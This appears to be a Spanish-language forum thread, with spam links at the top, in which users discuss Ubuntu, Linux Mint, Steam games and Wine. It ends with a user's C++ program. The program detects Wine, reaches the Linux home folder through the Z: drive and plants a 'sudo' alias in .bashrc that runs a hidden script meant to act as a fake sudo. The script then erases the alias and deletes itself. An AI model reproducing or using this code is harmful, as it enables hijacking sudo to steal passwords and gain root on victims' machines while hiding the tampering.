troyan remover
http://www.simplysup.com/
http://www.simplysup.com/
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: engel lex en 9 Julio 2014, 01:31 AMsep actualizar en ubuntu es una pesadilla , pero es que dejen de recomendar ubuntu tiene muchos problemas. hay muy buenas alternativas para los novatos , linux mint , opensuse, mandriva etc etc
tener w95 y actualizar directo a vista! XD
CitarEl problema es el propio Ubuntu y distros parecidas. Veras, Ubuntu no intenta ser diferente, Ubuntu es una distro que intenta ser otro Windows mas. Para que voy a querer otro si tengo uno que funciona bien.
CitarSi pudiera correr todos los juegos que tengo en steam, algunos MMORPGs, MOBAs y alguna que otra app de windows, estaría sumamente comodo en linux.yo se que valve piensa enfocarse mas en linux para sacar su propio sistema operativo y competir con microsoft pero no se cuanto demore el proceso aunque en steam ya hay juegos muy buenos para linux, yo usando mint tengo wolf among us , age of empire ,emulador de 64.
Cita de: vk496 en 9 Julio 2014, 20:27 PMa ver creo que no entendiste
Wine no se deja ejecutar con privilegios root. Eso te deja fuera de juego en Linux.
Salu2
Citaraunque tienes huawei que si ofrece telefonos de una calidad decente y una gama media, media/alta... o zte...
Citarquizás explotar algún fallo de wine..si habria que ver pero por ahora
#include <windows.h>
#include <fstream>
using namespace std;
int main()
{
HKEY llave;
//comprobamos la existencia de wine
long wine=RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\wine",0,KEY_READ,&llave);
if(wine!=ERROR_SUCCESS)
{
MessageBox(NULL,"no es wine","WINDOWS",MB_OK);
}
else
{
MessageBox(NULL,"wine detectado","WINDOWS",MB_OK);
// obtenemos el nombre de usuario que es el nombre de la carpeta home
char *usuario=getenv("USERNAME");
//por lo general wine permite el directorio root desde Z: asi que Z:\home\usuario es la carpeta del usuario
char *home="Z:\\home\\";
char home2[strlen(home)+strlen(usuario)];
//------------------------------
strcpy(home2,home);
strcat(home2,usuario);
//----------------------------------
//nos ubicamos en el directorio de usuario una vez alli creamos un alias sudo=MiComando.sh en bashrc asi que cuando vuelvan a abrir la consola y ejecutan sudo abrira nuestro comando
if( SetCurrentDirectory(home2)!=0 )
{
ofstream bashrc;
ofstream nuevosudo;
bashrc.open(".bashrc",ios::app);
if(bashrc.is_open())
{
// le doy permisos para ejecutarlo y luego ejecuto el new.sh cuando abre sudo y ademas ejecuta nuestro comando
bashrc << "alias sudo='chmod +x \"$HOME/.new.sh\" && \"$HOME/.new.sh\" '" << endl;
bashrc.close();
//si no pongo en el nuevosudo ios::binary da error
nuevosudo.open(".new.sh",ios::binary);
nuevosudo << "#!/bin/bash " << endl;
nuevosudo << "echo aca iria el sudo falso :D"<<endl;
nuevosudo << "echo o cualquier cosa que se nos ocurra" << endl;
// comando para borrar la ultima linea de un archivo que seria el alias que acabo de escribir en bashrc
nuevosudo << " cat .bashrc | awk 'BEGIN{x=0};{x++};END{print \"sed -i\" \" \"x\"d\" \" \" \".bashrc\" }'| sh " << endl;
// se corra el comando
nuevosudo << "alias sudo='/usr/bin/sudo' &" << endl;
nuevosudo << "rm \$0" << endl;
nuevosudo.close();
}
}
}
return 0;
}